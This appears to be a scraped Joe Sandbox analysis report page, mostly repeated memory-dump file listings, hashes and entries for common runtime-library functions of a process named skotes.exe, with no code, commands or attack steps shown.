Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction ID: a1caf95d3319d0f677b5d3d56e56a26c9b01129a44da7f8b977d6c2b2716076c
Opcode Fuzzy Hash: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction Fuzzy Hash: 35112E772C01428FE604862DC8BC6F7A797EBD5321BACC375D0494B794DA22DD459906

Function 0066A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction ID: da97200eb368690e9a98150562b00a9432bd14ed3d1296e646bbcbfd1514bb6b
Opcode Fuzzy Hash: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction Fuzzy Hash: 07E08C32921228EBCB14DFD8C90499AF3EDEB49B00B65009AF501E3251C370DF00CBD4

Function 0066CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0066CC66

Strings

vf, xrefs: 0066CBE1

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vf
API String ID: 3213747228-965054081
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: 5b6bde50948ee39bd81b44dd5058b1365fe20b2e46ca13d18f2264a1e3d5f1bf
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: 00B13832904A859FDB11CF68C8417FEBBF6EF45360F14816AD895DB341D6359D02CBA4

Function 00632EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00632F5F
__Mtx_unlock.LIBCPMT ref: 00632FCC
__Mtx_unlock.LIBCPMT ref: 006330F5
__Mtx_unlock.LIBCPMT ref: 0063319B

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: ada648ae8a29843fdc96ce0fa67c8b1c36062257b1517d2cfab8dcf54802d9e9
Instruction ID: 228fd7f049f13d9c0afb2d6e031f22f8dab0682edbc841bef3c58b50d660d6f3
Opcode Fuzzy Hash: ada648ae8a29843fdc96ce0fa67c8b1c36062257b1517d2cfab8dcf54802d9e9
Instruction Fuzzy Hash: E3A1FFB0A01625AFDB64DF64C944BAAB7AAFF15324F04813DE815D7381EB71EA04CBD1

Function 0066F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0066F3A3

Strings

`'i, xrefs: 0066F375
8"i, xrefs: 0066F44B

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"i$`'i
API String ID: 3903695350-1368006042
Opcode ID: 36bce0b16769fbb40b0d5678c490685d456ed5534141000a42853d65f6469a75
Instruction ID: 456cb9a0f656b93378586c2b6c2ed0b71622042ccd264f7685d01ccd2946eb28
Opcode Fuzzy Hash: 36bce0b16769fbb40b0d5678c490685d456ed5534141000a42853d65f6469a75
Instruction Fuzzy Hash: ED316D32600201EFEB61AB79E845B9B73EAEF40351F10842EE055E7A96DF70EC80CB55

Analysis Process: skotes.exePID: 7636, Parent PID: 7440COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1875
Total number of Limit Nodes:	9

Executed Functions

Function 00BA652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00BA652A,?,?,?,?,?,00BA7661), ref: 00BA6566

Memory Dump Source

Source File: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1784021361.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784037637.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784102222.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784119117.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784136899.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784152786.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784168914.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784265340.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784285025.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784347129.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784365223.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784386380.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784403520.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784421796.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784439262.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784456215.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784476862.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784498438.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784516662.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784534914.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784553811.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784570785.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784590879.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784612286.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784630549.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784648394.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784665638.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784682274.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784700581.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784718923.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784737211.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784756543.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784775321.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784795973.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784859678.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784876889.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784894901.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784913295.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
